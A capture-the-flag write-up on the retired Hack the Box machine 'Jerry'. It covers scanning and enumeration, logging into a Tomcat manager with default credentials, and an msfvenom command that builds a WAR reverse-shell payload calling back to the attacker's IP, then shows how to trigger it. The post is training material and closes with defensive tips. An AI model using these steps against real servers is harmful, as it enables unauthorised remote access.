3 min to read
Jerry - Hack the Box (CTF)
A writeup about the "Jerry" Capture the Flag challenge on Hack the Box, a retired machine which abuses default TomCat credentials.
The Jerry machine on Hack the Box is an easy retired box that helps prepare for the OSCP. The box focusses on exploiting a web server running TomCat, this is done by abusing default credentials along with uploading a .war file to get full access to the compromised machine.
Reconnaissance
We start off this Capture the Flag challenge with doing what we always do, running our trusted threader3000 tool along with a proper nmap scan to map the machine and environment we’re dealing with.
threader3000
nmap -p8080 -sV -sC -T4 -Pn -oA 10.10.10.95 10.10.10.95
This highlights the following, interesting ports on the target:
- Port 8080: there’s only a single port running on this machine, a http TomCat webserver with TomCat version 7.0.88.
Enumeration
Knowing that there is only one entry into the system, the http server running TomCat on 8080, it’s time to run some enumeration scans to look for possible vulnerabilities. These scans consists of Nikto and GoBuster scans to get a better idea of the content being presented on the website.
The GoBuster scan didn’t turn up anything interesting but some directories that are expected with a TomCat application. The Nikto scan however, indicated the use of default/basic credentials. These credentials haven’t been changed the moment the web application went live, allowing anyone with knowledge of TomCat and default passwords to get access to the administration panel of the application.
Exploitation
Now that we know that TomCat uses default credentials, it’s time to put them to use. Upon successfully logging into the administration panel, there are some interesting bits of information scattered around. After some looking around, there seems to be a possibility to upload files directly onto the machine/into TomCat. The file type that is accepted is the .war file types. In short, a WAR file is a container for JAR files and other resources that make up an (online) application. For more information on what exactly a WAR file is, visit this link.
It’s time to craft an exploit with a fitting payload. We want to setup a reverse shell on the machine that corresponds to our IP address AND is in the war file format. The best tool to use for this msfvenom, this is a payload generator which will create payloads in (almost) any format you want them to come in. In our case, this is the war file. We use the following command to create this payload:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.13 LPORT=1997 -f war > reverse.war
Uploading the .war file through the administration panel will result in the path to be added. You’d think it’d be as simple as visiting this path to trigger the exploit, which is true but it’s a little trickier than that. Since the .war file is a collection of resources, you need to find the correct resource which represents the reverse shell. This is done by executing the “jar tf reverse.war” command, this will show a vaguely named .jsp file. This .jsp file is the file you want to visit to trigger the reverse shell. So in our case, we’d need to visit the following link: http://10.10.10.95:8080/reverse/luwjrxkjpjf.jsp. As shown in the screenshot(s) below, this will trigger the reverse shell. Since this seemed to have been ran as an Administrator, we get full Administrator rights on the machine, skipping the privilege escalation step.
Tips and Tricks
- Make sure to
ALWAYS be sure to run services as a normal user and not an administrative or root user. This will make sure that in the case of a breach, the attacker does not have immediate privileged rights. - Always check the low-hanging fruits! In this case there was a set of default credentials present that we abused to get into administration panel of the TomCat application.
Comments